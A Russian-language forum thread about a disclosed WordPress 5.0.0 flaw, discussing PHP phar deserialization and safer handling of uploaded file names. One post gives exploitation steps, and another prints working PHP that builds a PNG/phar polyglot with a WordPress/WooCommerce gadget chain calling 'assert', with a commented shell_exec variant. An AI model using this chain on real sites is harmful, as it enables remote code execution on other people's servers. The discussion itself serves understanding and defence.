1. разрешить фичу в конфиге php.ini (если память не изменяет)
2. phar архив собрать с сериализованными заголовками
3. открыть файл в блокноте и засрать эти самые заголовки до состояния что выполнится шелл код.
4. прикрутить этот самый шеллкод.
5. скормить файл не патченой версии пыха старше чем 5.3. через что-то люто бажное.

ибо выполняться должно
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
А вот
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
или
file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
вернет true или false вообще не заглядывая внутрь архива

Ответить | Правка | ^ к родителю #50 | Наверх | Cообщить модератору

57. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 10:59 
в очередной раз - ну что неправильного в пути к моему файлу phar://someshit.phar/notfound.html ?
/dev/shm> ls -la !$
ls -la phar://someshit.phar/notfound.html
total 0
drwxr-xr-x 2 www www 40 Feb 21 10:57 ./
drwxr-xr-x 3 www www 60 Feb 21 10:57 ../

и какие еще символы в вполне разрешенном в юниксах пути вам надо запретить, чтобы пхп наконец подавился?

Ответить | Правка | ^ к родителю #51 | Наверх | Cообщить модератору

60. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от domov0y (?), 21-Фев-19, 11:20 
а причем тут ls -la? Может я чего не знаю?
а то легенда гласит
"укурились разрабы и решили а хорошо чтобы можно было сунуть все файлы в один архив и он выполнялся.  так родился формат phar. и озадачились они вопросом а как же будет узнавать скрипт быдлокодера, что внутри архива есть файл который надо подключить или прочитать? и не придумали они ничего лучше чем смотреть на первые буквы переданного аргумента. ( если там phar:// то расковыривать массив с заголовком, и искать его содержимое.)
Но вот трава кончилась и кто то решил набить в папиросу чая. раз затянулся, потом еще раз.  И понял этот человек что без модных брюк а ля хипстер он жить не может.  и, добавив в папиросу немного синтетической дряни, сей человек переписал  модуль phar так, чтобы модуль поддерживал сериализованные массивы со всеми их багами и фичами
"
Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

61. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от domov0y (?), 21-Фев-19, 11:25 
И таки да, чай был с добавками.
Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

65. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 12:10 
> а причем тут ls -la? Может я чего не знаю?

в смысле - я тебе демонстриую реально созданный мной путь в юниксной fs.
С чего, собственно, пользователь не должен такие пути создавать?

А как теперь отличить путь это или кусок протокола - это уж сам придумывай.

не забыв передать спасибо дятлам, понатащившим в функции работы с файлами ненужно-функционал вместо создания более высокоуровневых оберток с отдельным интерфейсом и контролем типов.

Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

69. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от domov0y (?), 21-Фев-19, 14:29 
спасибо за то что напомнил что все таки существуют "альтернативно одаренные разработчики" которые переименовывают файлы на сервере давая им то имя под которым файл был загружен.

Я наивно полагал что гораздо проще дать файлу имя  md5(user_id+tmp_filename+terminator+real_filename+terminator+time) а в бд записать получившийся хеш и real_filename.

Ответить | Правка | ^ к родителю #65 | Наверх | Cообщить модератору

77. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Онаним (?), 21-Фев-19, 20:58 
Всё ещё проще: открываем транзакцию, пишем в БД метаданные, получаем insert ID, пишем <insert ID>.file, коммитим транзакцию. Обработка ошибок транзакцию оборвёт - т.е. если не запишется файл, метаданные тоже сгинут. Единственный тонкий момент - если коммит транзакции сфейлился, не забыть удалить файл. Но это можно делать и периодически в хаускипере - листаем файлы, не находим в базе, грохаем.
Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

78. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Онаним (?), 21-Фев-19, 21:00 
Заодно решается проблема с возможными коллизиями - insert id уникален для каждой транзакции, и с шардингом - можно в БД заливать, куда зашардили. Доступ к файлу - по id. Если нужен по другим признакам - выбрать по индексу из БД - не проблема.
Ответить | Правка | ^ к родителю #77 | Наверх | Cообщить модератору

70. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от трурль (?), 21-Фев-19, 15:35 
> 5. скормить файл не патченой версии пыха старше чем 5.3.

С древним денвером ясно,там 5.3.

> ибо выполняться должно
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> либо file_exists("phar://путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html")
> А вот
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar....")
> или
> file_exists("путь/к/phar.файлу.не.обязательно.с.расширением.phar..../not_found.html").
> вернет true или false вообще не заглядывая внутрь архива

А, вон чего я упустил. Теперь на cli наблюдается некое шевеление, но не то, что предполагалось:
>PHP Warning:  Class __PHP_Incomplete_Class has no unserializer in /home/onotole/1/phar_test/phar_probe.php on line 8

(php7.2.15-0ubuntu0.18.04.1)

А вот на впс-ке с центосью (php5.4.16):

>Warning: file_exists(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/httpdocs/phar_test/teest.php on line 16
>Warning: Class __PHP_Incomplete_Class has no unserializer in /var/www/httpdocs/phar_test/teest.php on line 16)

Что-то все это напоминает вирусы под линукс: половина не собирается, треть не работает, остальные затрахаешься настраивать.
Но ухо востро держать следует, спасибо за подсказку.

---------------------------------------
Картинку со вшитым объектом делал так:

class Requests_Utility_FilteredIterator extends ArrayIterator{
protected $callback;
public function __construct(){
    $this->callback = 'assert';
}
}
class WC_Log_Handler_File{
protected $handles;
public function __construct(){
    $this->handles = new Requests_Utility_FilteredIterator;
    // $this->handles[] = 'die(shell_exec("ls -la"));';
    $this->handles[] = 'die("You are hacked!");';
}
}
function img(){
    ob_start();
    imagepng(imagecreatetruecolor(200, 200));
    return ob_get_clean();
}
$n = 'image.phar';
$p = new Phar($n);
$p->setStub(img().'__HALT_COMPILER();');
$p->setMetadata(new WC_Log_Handler_File);
$p['x'] = '';
rename($n, $n.'.png');

(ссылку потерял, вроде бы от чувака, который первым этот эксплойт в картинкой предложил)

Ответить | Правка | ^ к родителю #51 | Наверх | Cообщить модератору

71. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от трурль (?), 21-Фев-19, 15:38 
Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именами, тогда см. историю с вирусами про линукс, п.1.
Ответить | Правка | ^ к родителю #70 | Наверх | Cообщить модератору

81. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Vitaliy Blatsemail (?), 22-Фев-19, 14:04 
> Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именами

Пока что-то не наенбется, и не понадобится это отыскать среди нескольких тысяч файлов с непонятными именами.

Переменным и файлам лучше давать осмысленные структурированные имена. Иначе эти имена вообще не нужны, можно тупо брать HEX-заголовок из ФС.

Ответить | Правка | ^ к родителю #71 | Наверх | Cообщить модератору

82. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (82), 23-Фев-19, 09:38 
Обновился до 5,1 версии.
Полнейшая муть,не удобно ни чего!
Редактор полнейшая хрень.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

83. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (83), 27-Фев-19, 20:51 
Ставь плагин TinyMCE Advanced и включай пункт в настройках "Заменить редактор блоков классическим редактором"
Пока как-то так. Лучшего пока не нашел
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру